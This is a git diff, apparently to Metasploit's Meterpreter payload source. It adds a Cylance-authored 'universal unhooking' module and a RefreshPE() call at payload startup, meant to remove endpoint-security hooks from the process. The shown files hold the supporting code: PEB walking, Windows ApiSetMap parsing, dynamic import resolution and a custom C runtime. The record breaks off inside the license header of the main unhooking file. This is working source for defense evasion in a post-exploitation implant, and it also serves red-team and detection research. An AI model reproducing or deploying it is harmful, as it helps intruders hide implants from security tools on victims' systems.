diff --git a/c/meterpreter/source/server/metsrv.c b/c/meterpreter/source/server/metsrv.c index 78e0aa6e..a12cde7b 100755 --- a/c/meterpreter/source/server/metsrv.c +++ b/c/meterpreter/source/server/metsrv.c @@ -8,6 +8,9 @@ DWORD __declspec(dllexport) Init(SOCKET fd) { + // Unhook the process before setting up the socket + RefreshPE(); + // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually // a pointer to the metserv configuration, so do a nasty cast and move on. MetsrvConfig* metConfig = (MetsrvConfig*)fd; diff --git a/c/meterpreter/source/server/metsrv.h b/c/meterpreter/source/server/metsrv.h index c0bf4553..92a02501 100755 --- a/c/meterpreter/source/server/metsrv.h +++ b/c/meterpreter/source/server/metsrv.h @@ -23,6 +23,7 @@ #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" #include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +#include "../universal_unhooking/universal_unhooking.h" DWORD server_setup(MetsrvConfig* config); typedef DWORD (*PSRVINIT)(Remote *remote); diff --git a/c/meterpreter/source/universal_unhooking/apisetmap.c b/c/meterpreter/source/universal_unhooking/apisetmap.c new file mode 100755 index 00000000..1d660be6 --- /dev/null +++ b/c/meterpreter/source/universal_unhooking/apisetmap.c @@ -0,0 +1,222 @@ +/************************************************************************************* +* Author: Jeff Tang +* Copyright (c) 2017 Cylance Inc. All rights reserved. * +* * +* Redistribution and use in source and binary forms, with or without modification, * +* are permitted provided that the following conditions are met: * +* * +* 1. Redistributions of source code must retain the above copyright notice, this * +* list of conditions and the following disclaimer. * +* * +* 2. Redistributions in binary form must reproduce the above copyright notice, * +* this list of conditions and the following disclaimer in the documentation and/or * +* other materials provided with the distribution. * +* * +* 3. Neither the name of the copyright holder nor the names of its contributors * +* may be used to endorse or promote products derived from this software without * +* specific prior written permission. * +* * +* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * +* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * +* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * +* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * +* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * +* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * +* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * +* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * +* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * +* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * +* * +*************************************************************************************/ +#include "apisetmap.h" + +_PPEB GetProcessEnvironmentBlock() +{ + ULONG_PTR pPeb; +#ifdef _WIN64 + pPeb = __readgsqword(0x60); +#else + pPeb = __readfsdword(0x30); +#endif + return (_PPEB)pPeb; +} + +PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList() +{ + return (PLDR_DATA_TABLE_ENTRY)GetProcessEnvironmentBlock()->pLdr->InMemoryOrderModuleList.Flink; +} + +PCHAR GetRedirectedName(PCHAR szOriginalModule, PCHAR szRedirectedModule) +{ + PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap; + pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList; + + if (pApiSetMap->Version == 6) + return GetRedirectedName_V6(szOriginalModule, szRedirectedModule); + else if (pApiSetMap->Version == 4) + return GetRedirectedName_V4(szOriginalModule, szRedirectedModule); + else if (pApiSetMap->Version == 2) + return GetRedirectedName_V2(szOriginalModule, szRedirectedModule); + else + return NULL; +} + +PCHAR GetRedirectedName_V6(PCHAR szOriginalModule, PCHAR szRedirectedModule) +{ + PAPI_SET_NAMESPACE_ARRAY_V6 pApiSetMap; + PAPI_SET_NAMESPACE_ENTRY_V6 pApiEntry; + PAPI_SET_VALUE_ENTRY_V6 pApiValue; + DWORD dwEntryCount; + DWORD dwSetCount; + PCHAR szEntry; + PCHAR szName; + PCHAR szValue; + + pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V6)GetProcessEnvironmentBlock()->pFreeList; + + // Loop through each entry in the ApiSetMap to find the matching redirected module entry + for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++) + { + pApiEntry = &pApiSetMap->Array[dwEntryCount]; + szEntry = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset), pApiEntry->NameLength / 2); + + // Skip this entry if it does not match + if (strnicmp_(szEntry, szRedirectedModule, pApiEntry->NameLength / 2)) + { + free_(szEntry); + continue; + } + + free_(szEntry); + + // Loop through each value entry and find where name == original module + for (dwSetCount = pApiEntry->Count - 1; dwSetCount >= 0; dwSetCount--) + { + pApiValue = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset + (dwSetCount * sizeof(API_SET_VALUE_ENTRY_V6))); + szName = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset), pApiValue->NameLength / 2); + szValue = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset), pApiValue->ValueLength / 2); + + if (pApiValue->NameLength == 0 || stricmp_(szName, szOriginalModule) == 0) + { + OUTPUTDBGA("\t\t\t[*] Found a matching entry: "); + OUTPUTDBGA(szValue); + OUTPUTDBGA("\n"); + + free_(szName); + return szValue; + } + + free_(szName); + free_(szValue); + } + } + + return NULL; +} +PCHAR GetRedirectedName_V4(PCHAR szOriginalModule, PCHAR szRedirectedModule) +{ + PAPI_SET_NAMESPACE_ARRAY_V4 pApiSetMap; + PAPI_SET_NAMESPACE_ENTRY_V4 pApiEntry; + PAPI_SET_VALUE_ARRAY_V4 pApiArray; + PAPI_SET_VALUE_ENTRY_V4 pApiValue; + DWORD dwEntryCount; + DWORD dwSetCount; + PCHAR szEntry; + PCHAR szName; + PCHAR szValue; + + pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V4)GetProcessEnvironmentBlock()->pFreeList; + + for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++) + { + pApiEntry = &pApiSetMap->Array[dwEntryCount]; + szEntry = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset), pApiEntry->NameLength / 2); + + // Skip this entry if it does not match + if (strnicmp_(szEntry, szRedirectedModule + 4, pApiEntry->NameLength / 2)) + { + free_(szEntry); + continue; + } + + free_(szEntry); + + pApiArray = (PAPI_SET_VALUE_ARRAY_V4)((PCHAR)pApiSetMap + pApiEntry->DataOffset); + + for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--) + { + pApiValue = &pApiArray->Array[dwSetCount]; + szName = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset), pApiValue->NameLength / 2); + szValue = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset), pApiValue->ValueLength / 2); + + if (pApiValue->NameLength == 0 || stricmp_(szName, szOriginalModule) == 0) + { + OUTPUTDBGA("\t\t\t[*] Found a matching entry: "); + OUTPUTDBGA(szName); + OUTPUTDBGA("\n"); + + free_(szName); + return szValue; + } + + free_(szName); + free_(szValue); + } + } + + return NULL; +} + +PCHAR GetRedirectedName_V2(PCHAR szOriginalModule, PCHAR szRedirectedModule) +{ + PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap; + PAPI_SET_NAMESPACE_ENTRY_V2 pApiEntry; + PAPI_SET_VALUE_ARRAY_V2 pApiArray; + PAPI_SET_VALUE_ENTRY_V2 pApiValue; + DWORD dwEntryCount; + DWORD dwSetCount; + PCHAR szEntry; + PCHAR szName; + PCHAR szValue; + + pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList; + + for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++) + { + pApiEntry = &pApiSetMap->Array[dwEntryCount]; + szEntry = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset), pApiEntry->NameLength / 2); + + // Skip this entry if it does not match + if (strnicmp_(szEntry, szRedirectedModule+4, pApiEntry->NameLength / 2)) + { + free_(szEntry); + continue; + } + + free_(szEntry); + + pApiArray = (PAPI_SET_VALUE_ARRAY_V2)((PCHAR)pApiSetMap + pApiEntry->DataOffset); + + for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--) + { + pApiValue = &pApiArray->Array[dwSetCount]; + szName = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset), pApiValue->NameLength / 2); + szValue = wcstocs_((PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset), pApiValue->ValueLength / 2); + + if (pApiValue->NameLength == 0 || stricmp_(szName, szOriginalModule) == 0) + { + OUTPUTDBGA("\t\t\t[*] Found a matching entry: "); + OUTPUTDBGA(szName); + OUTPUTDBGA("\n"); + + free_(szName); + return szValue; + } + + free_(szName); + free_(szValue); + } + } + + return NULL; +} diff --git a/c/meterpreter/source/universal_unhooking/apisetmap.h b/c/meterpreter/source/universal_unhooking/apisetmap.h new file mode 100755 index 00000000..6138b4ba --- /dev/null +++ b/c/meterpreter/source/universal_unhooking/apisetmap.h @@ -0,0 +1,151 @@ +/************************************************************************************* +* Author: Jeff Tang +* Copyright (c) 2017 Cylance Inc. All rights reserved. * +* * +* Redistribution and use in source and binary forms, with or without modification, * +* are permitted provided that the following conditions are met: * +* * +* 1. Redistributions of source code must retain the above copyright notice, this * +* list of conditions and the following disclaimer. * +* * +* 2. Redistributions in binary form must reproduce the above copyright notice, * +* this list of conditions and the following disclaimer in the documentation and/or * +* other materials provided with the distribution. * +* * +* 3. Neither the name of the copyright holder nor the names of its contributors * +* may be used to endorse or promote products derived from this software without * +* specific prior written permission. * +* * +* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * +* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * +* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * +* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * +* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * +* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * +* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * +* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * +* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * +* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * +* * +*************************************************************************************/ +#pragma once +#ifndef _APISETMAP_H_ +#define _APISETMAP_H_ + +#define WIN32_LEAN_AND_MEAN +#include +#include "imports.h" + +#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" + + +// Win 10 +typedef struct _API_SET_VALUE_ENTRY_V6 +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6; + +typedef struct _API_SET_NAMESPACE_HASH_ENTRY_V6 +{ + ULONG Hash; + ULONG Index; +} API_SET_NAMESPACE_HASH_ENTRY_V6, *PAPI_SET_NAMESPACE_HASH_ENTRY_V6; + +typedef struct _API_SET_NAMESPACE_ENTRY_V6 +{ + ULONG Flags; + ULONG NameOffset; + ULONG Size; + ULONG NameLength; + ULONG DataOffset; + ULONG Count; +} API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6; + +typedef struct _API_SET_NAMESPACE_ARRAY_V6 +{ + ULONG Version; + ULONG Size; + ULONG Flags; + ULONG Count; + ULONG DataOffset; + ULONG HashOffset; + ULONG Multiplier; + API_SET_NAMESPACE_ENTRY_V6 Array[ANYSIZE_ARRAY]; +} API_SET_NAMESPACE_ARRAY_V6, *PAPI_SET_NAMESPACE_ARRAY_V6; + +// Windows 8.1 +typedef struct _API_SET_VALUE_ENTRY_V4 +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4; + +typedef struct _API_SET_VALUE_ARRAY_V4 +{ + ULONG Flags; + ULONG Count; + API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY]; +} API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4; + +typedef struct _API_SET_NAMESPACE_ENTRY_V4 +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG AliasOffset; + ULONG AliasLength; + ULONG DataOffset; +} API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4; + +typedef struct _API_SET_NAMESPACE_ARRAY_V4 +{ + ULONG Version; + ULONG Size; + ULONG Flags; + ULONG Count; + API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY]; +} API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4; + +// Windows 7/8 +typedef struct _API_SET_VALUE_ENTRY_V2 +{ + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2; + +typedef struct _API_SET_VALUE_ARRAY_V2 +{ + ULONG Count; + API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY]; +} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2; + +typedef struct _API_SET_NAMESPACE_ENTRY_V2 +{ + ULONG NameOffset; + ULONG NameLength; + ULONG DataOffset; +} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2; + +typedef struct _API_SET_NAMESPACE_ARRAY_V2 +{ + ULONG Version; + ULONG Count; + API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY]; +} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2; + +_PPEB GetProcessEnvironmentBlock(); +PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList(); +PCHAR GetRedirectedName(PCHAR szOriginalModule, PCHAR szRedirectedModule); +PCHAR GetRedirectedName_V6(PCHAR szOriginalModule, PCHAR szRedirectedModule); +PCHAR GetRedirectedName_V4(PCHAR szOriginalModule, PCHAR szRedirectedModule); +PCHAR GetRedirectedName_V2(PCHAR szOriginalModule, PCHAR szRedirectedModule); +#endif // _APISETMAP_H_ \ No newline at end of file diff --git a/c/meterpreter/source/universal_unhooking/imports.c b/c/meterpreter/source/universal_unhooking/imports.c new file mode 100755 index 00000000..e45d9aaa --- /dev/null +++ b/c/meterpreter/source/universal_unhooking/imports.c @@ -0,0 +1,248 @@ +/************************************************************************************* +* Author: Jeff Tang +* Copyright (c) 2017 Cylance Inc. All rights reserved. * +* * +* Redistribution and use in source and binary forms, with or without modification, * +* are permitted provided that the following conditions are met: * +* * +* 1. Redistributions of source code must retain the above copyright notice, this * +* list of conditions and the following disclaimer. * +* * +* 2. Redistributions in binary form must reproduce the above copyright notice, * +* this list of conditions and the following disclaimer in the documentation and/or * +* other materials provided with the distribution. * +* * +* 3. Neither the name of the copyright holder nor the names of its contributors * +* may be used to endorse or promote products derived from this software without * +* specific prior written permission. * +* * +* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * +* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * +* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * +* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * +* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * +* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * +* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * +* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * +* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * +* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * +* * +*************************************************************************************/ +#include "imports.h" + +HANDLE hCustomHeap = NULL; + +VOID ResolveImports() +{ + hKernel32 = LoadLibraryA("kernel32.dll"); + CloseHandle_ = (CLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle"); + CreateFileA_ = (CREATEFILEA)GetProcAddress(hKernel32, "CreateFileA"); + CreateFileW_ = (CREATEFILEW)GetProcAddress(hKernel32, "CreateFileW"); + CreateFileMappingW_ = (CREATEFILEMAPPINGW)GetProcAddress(hKernel32, "CreateFileMappingW"); + MapViewOfFile_ = (MAPVIEWOFFILE)GetProcAddress(hKernel32, "MapViewOfFile"); + UnmapViewOfFile_ = (UNMAPVIEWOFFILE)GetProcAddress(hKernel32, "UnmapViewOfFile"); + VirtualAlloc_ = (VIRTUALALLOC)GetProcAddress(hKernel32, "VirtualAlloc"); + VirtualFree_ = (VIRTUALFREE)GetProcAddress(hKernel32, "VirtualFree"); + VirtualProtect_ = (VIRTUALPROTECT)GetProcAddress(hKernel32, "VirtualProtect"); + HeapCreate_ = (HEAPCREATE)GetProcAddress(hKernel32, "HeapCreate"); +#ifdef _DEBUG + OutputDebugStringA_ = (OUTPUTDEBUGSTRINGA)GetProcAddress(hKernel32, "OutputDebugStringA"); + OutputDebugStringW_ = (OUTPUTDEBUGSTRINGW)GetProcAddress(hKernel32, "OutputDebugStringW"); +#endif + + hNtdll = LoadLibraryA("ntdll.dll"); + HeapAlloc_ = (HEAPALLOC)GetProcAddress(hNtdll, "RtlAllocateHeap"); + HeapFree_ = (HEAPFREE)GetProcAddress(hNtdll, "RtlFreeHeap"); + +} + +VOID FreeImports() +{ + OUTPUTDBGA("[*] Freeing library imports\n"); + FreeLibrary(hNtdll); + FreeLibrary(hKernel32); +} + +void* malloc_(size_t stSize) +{ + void* pBuffer; + + if (hCustomHeap == NULL) + hCustomHeap = HeapCreate_(0, 0, 0); + + pBuffer = HeapAlloc_(hCustomHeap, HEAP_ZERO_MEMORY, stSize); + + return pBuffer; +} + +void free_(void* pBlock) +{ + HeapFree_(hCustomHeap, 0, pBlock); +} + +size_t strlen_(const char* str) +{ + char* curPtr; + + for (curPtr = (char *)str; *curPtr != 0; curPtr++); + + return curPtr - str; +} + +int strcmp_(const char* str1, const char* str2) +{ + const char *szP0; + const char *szP1; + + for (szP0 = str1, szP1 = str2; *szP0 != 0 && *szP1 != 0 && *szP0 == *szP1; szP0++, szP1++); + + return *szP0 - *szP1; +} + +int stricmp_(const char* str1, const char* str2) +{ + const char *szP0; + const char *szP1; + char char0; + char char1; + + for (szP0 = str1, szP1 = str2; *szP0 != 0 && *szP1 != 0; szP0++, szP1++) + { + char0 = *szP0; + char1 = *szP1; + if (0x61 <= char0 && char0 <= 0x7A) + char0 -= 0x20; + if (0x61 <= char1 && char1 <= 0x7A) + char1 -= 0x20; + if (char0 != char1) + break; + } + + char0 = *szP0; + char1 = *szP1; + + if (0x61 <= char0 && char0 <= 0x7A) + char0 -= 0x20; + if (0x61 <= char1 && char1 <= 0x7A) + char1 -= 0x20; + + return char0 - char1; +} + +int strnicmp_(const char* str1, const char* str2, size_t length) +{ + const char *szP0; + const char *szP1; + char char0; + char char1; + size_t count; + + for (szP0 = str1, szP1 = str2, count = 0; *szP0 != 0 && *szP1 != 0 && count < length - 1; szP0++, szP1++,count++) + { + char0 = *szP0; + char1 = *szP1; + if (0x61 <= char0 && char0 <= 0x7A) + char0 -= 0x20; + if (0x61 <= char1 && char1 <= 0x7A) + char1 -= 0x20; + if (char0 != char1) + break; + } + + char0 = *szP0; + char1 = *szP1; + + if (0x61 <= char0 && char0 <= 0x7A) + char0 -= 0x20; + if (0x61 <= char1 && char1 <= 0x7A) + char1 -= 0x20; + + + + return char0 - char1; +} + + +int wcslen_(wchar_t *wszString) +{ + wchar_t* wcsPtr; + + for (wcsPtr = wszString; *wcsPtr != 0; wcsPtr++); + + return (int)(wcsPtr - wszString); +} + +char* wcstocs_(PWSTR wszStr, size_t stLength) +{ + char* szRet; + size_t stIdx; + + szRet = (PCHAR)malloc_(stLength + 1); + + for (stIdx = 0; stIdx < stLength; stIdx++) + { + szRet[stIdx] = (char)wszStr[stIdx]; + } + + szRet[stLength] = 0; + + return szRet; +} +void* memcpy_(void *dest, const void *src, size_t n) +{ + char *dp = dest; + const char *sp = src; + while (n--) + *dp++ = *sp++; + return dest; +} + +int memcmp_(const void* s1, const void* s2,size_t n) +{ + const unsigned char *p1 = s1, *p2 = s2; + while(n--) + if( *p1 != *p2 ) + return *p1 - *p2; + else + p1++,p2++; + return 0; +} + +void ParseFwdDesc(const PCHAR szFwdDesc, PCHAR* pszModule, PCHAR* pszFunc) +{ + char *szModName; + char *szFuncName; + char *pcSep; + char *pcCur; + size_t stModLen; + size_t stFuncLen; + + pcSep = NULL; + *pszModule = NULL; + *pszFunc = NULL; + + for (pcCur = szFwdDesc; *pcCur != 0; pcCur++) + { + if (*pcCur == '.') + { + pcSep = pcCur; + break; + } + } + + if (pcSep) + { + stModLen = (pcSep - szFwdDesc); + szModName = (char *)malloc_(stModLen + 4 + 1); + memcpy_(szModName, szFwdDesc, stModLen); + memcpy_(szModName + stModLen, ".dll", 5); + + stFuncLen = strlen_(szFwdDesc) - (stModLen); + szFuncName = (char *)malloc_(stFuncLen + 1); + memcpy_(szFuncName, pcSep + 1, stFuncLen); + szFuncName[stFuncLen] = 0; + + *pszModule = szModName; + *pszFunc = szFuncName; + } +} \ No newline at end of file diff --git a/c/meterpreter/source/universal_unhooking/imports.h b/c/meterpreter/source/universal_unhooking/imports.h new file mode 100755 index 00000000..28edba1d --- /dev/null +++ b/c/meterpreter/source/universal_unhooking/imports.h @@ -0,0 +1,100 @@ +/************************************************************************************* +* Author: Jeff Tang +* Copyright (c) 2017 Cylance Inc. All rights reserved. * +* * +* Redistribution and use in source and binary forms, with or without modification, * +* are permitted provided that the following conditions are met: * +* * +* 1. Redistributions of source code must retain the above copyright notice, this * +* list of conditions and the following disclaimer. * +* * +* 2. Redistributions in binary form must reproduce the above copyright notice, * +* this list of conditions and the following disclaimer in the documentation and/or * +* other materials provided with the distribution. * +* * +* 3. Neither the name of the copyright holder nor the names of its contributors * +* may be used to endorse or promote products derived from this software without * +* specific prior written permission. * +* * +* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * +* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * +* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * +* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * +* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * +* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * +* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * +* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * +* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * +* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * +* * +*************************************************************************************/ +#pragma once +#ifndef _IMPORTS_H_ +#define _IMPORTS_H_ +#pragma intrinsic ( memcpy, memcmp, memset ) + +#define WIN32_LEAN_AND_MEAN +#include + +#ifdef _DEBUG + #define OUTPUTDBGA(str) OutputDebugStringA_(str); + #define OUTPUTDBGW(str) OutputDebugStringW_(str); +#else + #define OUTPUTDBGA(str) + #define OUTPUTDBGW(str) +#endif + +// kernel32.dll +typedef BOOL (WINAPI * CLOSEHANDLE)(HANDLE hObject); +typedef HANDLE (WINAPI * CREATEFILEA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +typedef HANDLE (WINAPI * CREATEFILEW)(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +typedef HANDLE (WINAPI * CREATEFILEMAPPINGW)(_In_ HANDLE hFile, _In_opt_ LPSECURITY_ATTRIBUTES lpFileMappingAttributes, _In_ DWORD flProtect, _In_ DWORD dwMaximumSizeHigh, _In_ DWORD dwMaximumSizeLow, _In_opt_ LPCWSTR lpName); +typedef LPVOID (WINAPI * MAPVIEWOFFILE)(_In_ HANDLE hFileMappingObject, _In_ DWORD dwDesiredAccess, _In_ DWORD dwFileOffsetHigh, _In_ DWORD dwFileOffsetLow, _In_ SIZE_T dwNumberOfBytesToMap); +typedef BOOL (WINAPI * UNMAPVIEWOFFILE)(_In_ LPCVOID lpBaseAddress); +typedef LPVOID (WINAPI * VIRTUALALLOC)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect); +typedef BOOL (WINAPI * VIRTUALFREE)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD dwFreeType); +typedef BOOL (WINAPI * VIRTUALPROTECT)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect); +typedef HANDLE(WINAPI * HEAPCREATE)(_In_ DWORD flOptions, _In_ SIZE_T dwInitialSize, _In_ SIZE_T dwMaximumSize); +typedef VOID (WINAPI * OUTPUTDEBUGSTRINGA)(_In_opt_ LPCSTR lpOutputString); +typedef VOID (WINAPI * OUTPUTDEBUGSTRINGW)(_In_opt_ LPWSTR lpOutputString); + +HMODULE hKernel32; +CLOSEHANDLE CloseHandle_; +CREATEFILEA CreateFileA_; +CREATEFILEW CreateFileW_; +CREATEFILEMAPPINGW CreateFileMappingW_; +MAPVIEWOFFILE MapViewOfFile_; +UNMAPVIEWOFFILE UnmapViewOfFile_; +VIRTUALALLOC VirtualAlloc_; +VIRTUALFREE VirtualFree_; +VIRTUALPROTECT VirtualProtect_; +HEAPCREATE HeapCreate_; +#ifdef _DEBUG + OUTPUTDEBUGSTRINGA OutputDebugStringA_; + OUTPUTDEBUGSTRINGW OutputDebugStringW_; +#endif + +// ntdll.dll +typedef LPVOID (WINAPI * HEAPALLOC)(_In_ HANDLE hHeap, _In_ DWORD dwFlags, _In_ SIZE_T dwBytes); +typedef BOOL (WINAPI * HEAPFREE)(_In_ HANDLE hHeap, _In_ DWORD dwFlags, _In_ LPVOID lpMem); + +HMODULE hNtdll; +HEAPALLOC HeapAlloc_; +HEAPFREE HeapFree_; + +// implemented crt +void* malloc_(size_t stSize); +void free_(void* pBlock); +int strcmp_(const char* str1, const char* str2); +int stricmp_(const char* str1, const char* str2); +int strnicmp_(const char* str1, const char* str2, size_t length); +size_t strlen_(const char * str); +int wcslen_(wchar_t *wszString); +char* wcstocs_(PWSTR wszStr, size_t stLength); +void* memcpy_(void *dest, const void *src, size_t n); +int memcmp_(const void* s1, const void* s2, size_t n); + +VOID ResolveImports(); +VOID FreeImports(); +void ParseFwdDesc(const PCHAR szFwdDesc, PCHAR* pszModule, PCHAR* pszFunc); +#endif // _IMPORTS_H_ \ No newline at end of file diff --git a/c/meterpreter/source/universal_unhooking/universal_unhooking.c b/c/meterpreter/source/universal_unhooking/universal_unhooking.c new file mode 100755 index 00000000..1e453a1c --- /dev/null +++ b/c/meterpreter/source/universal_unhooking/universal_unhooking.c @@ -0,0 +1,529 @@ +/************************************************************************************* +* Author: Jeff Tang +* Copyright (c) 2017 Cylance Inc. All rights reserved. * +* * +* Redistribution and use in source and binary forms, with or without modification, * +* are permitted provided that the following conditions are met: * +* * +* 1. Redistributions of source code must retain the above copyright notice, this * +* list of conditions and the following disclaimer. * +* * +* 2. Redistributions in binary form must reproduce the above copyright notice, * +* this list of conditions and the following disclaimer in the documentation and/or * +* other materials provided with the distribution. * +* * +* 3. Neither the name of the copyright holder nor the names of its contributors * +* may be used to endorse or promote products derived from this software without * +* specific prior written permission. * +* * +* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * +* ANY EXPRESS OR IMPLIED WARRANTIES, 